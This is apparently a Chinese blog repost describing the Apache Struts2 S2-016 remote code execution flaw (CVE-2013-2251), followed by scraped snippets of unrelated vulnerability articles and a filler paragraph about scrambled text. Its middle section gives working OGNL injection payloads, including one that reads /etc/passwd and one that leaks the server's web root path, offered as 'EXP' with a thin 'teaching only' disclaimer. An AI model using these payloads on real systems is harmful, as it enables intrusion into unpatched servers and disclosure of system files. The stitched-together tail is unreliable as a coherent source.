Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。 

描述

影响版本	 Struts 2.0.0 - Struts 2.3.15
报告者	 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE编号      CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command‘,‘goes‘,‘here‘})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command‘,‘goes‘,‘here‘})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command‘,‘goes‘,‘here‘})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Apache官方地址

国内网站受灾严重


以下仅供教学研究之用,严禁非法用途!

执行任意命令EXP,感谢X提供:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat‘,‘/etc/passwd‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

爆网站路径EXP,感谢h4ck0r提供:

?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

升级struct2需要下列包

commons-lang3-3.1.jar

javassist-3.18.1-GA.jar

ognl-3.0.6.jar

struts2-core-2.3.16.jar

struts2-spring-plugin-2.3.16.jar

xwork-core-2.3.16.jar

Struts2再爆远程代码执行漏洞(S2-016),布布扣,bubuko.com

时间: 2024-10-10 21:25:12

Struts2再爆远程代码执行漏洞(S2-016)的相关文章

Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. 解决方案 向ActionMessage传递原始消息时使用类似下面的资源键值,不要

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Portable OpenSSH GSSAPI远程代码执行漏洞(CVE-2006-5051)漏洞解决方案

漏洞的名称为Portable OpenSSH GSSAPI远程代码执行漏洞(CVE-2006-5051)及OpenSSH J-PAKE授权问题漏洞(CVE-2010-4478),厂家给出的解决方案很笼统.经过各方查找资料,大致的解决方案是升级到高版本的openssh,目前最新版本是openssh 6.7p1. 下载地址:http://mirror.internode.on.net/pub/OpenBSD/OpenSSH/portable/ 可以根据自己的需要选择下载升级,其实没别要升级到最新版本

小米手机MIUI远程代码执行漏洞分析

7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞.通过该漏洞可以远程获取本地APP的权限,突破本地漏洞和远程漏洞的界限,使本地app的漏洞远程也能被利用,达到隔山打牛的效果.在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复. 测试环境:手机型号:MI 3 Android版本:4.2.1 JOP40D MIUI版本:MIUI-JXCCNBE21 内核版本:3.4.35-ga656ab9 一.   小米MIUI原生浏览器存在意

Apache Tomcat CVE-2017-12615远程代码执行漏洞分析

2017年9月19日, Apache Tomcat官方发布两个严重的安全漏洞, 其中CVE-2017-12615为远程代码执行漏洞,通过put请求向服务器上传恶意jsp文件, 再通过jsp文件在服务器上执行任意代码, 且最新的补丁未完全修复漏洞.中新网安将对该漏洞进行持续关注, 并第一时间为您更新相关漏洞信息. 漏洞编号 CVE-2017-12615 漏洞名称 Apache Tomcat 远程代码执行漏洞 漏洞评级 严重 影响范围 Apache Tomcat 7.0.0 - 7.0.79 漏洞分

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了. 主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了. 复现过程 国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882 这里我们使用的是Ridter师傅改进过的脚本:https:

ECShop全系列版本远程代码执行漏洞复现

前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_REFERER,我们可控. assign函数用于在模版变量里赋值 再看display函数 读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随

[EXP]CVE-2019-0604微软SharePoint远程代码执行漏洞利用

研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后,才发这现里的字全是都乱的. 剑桥大学的研究结果,当单词的字母顺序颠倒时,你仍旧可以明白整个单词的意思.其中重要的是:只要单词的第一个字母和最后一个子字母位置正确即可.其他的可以是完全的乱码,你仍旧可以清楚的完全没有问题的阅读.原因是因为人脑在认知单词的过程中不是依靠辨识字母的顺序,而是从整体来看.同理,汉字的阅读也会受到大脑先入为主的分析.如果你所看到的句子在大脑中事先有过印象,那么你就能顺利的将它读出.如果句子是大脑之前没有处理过的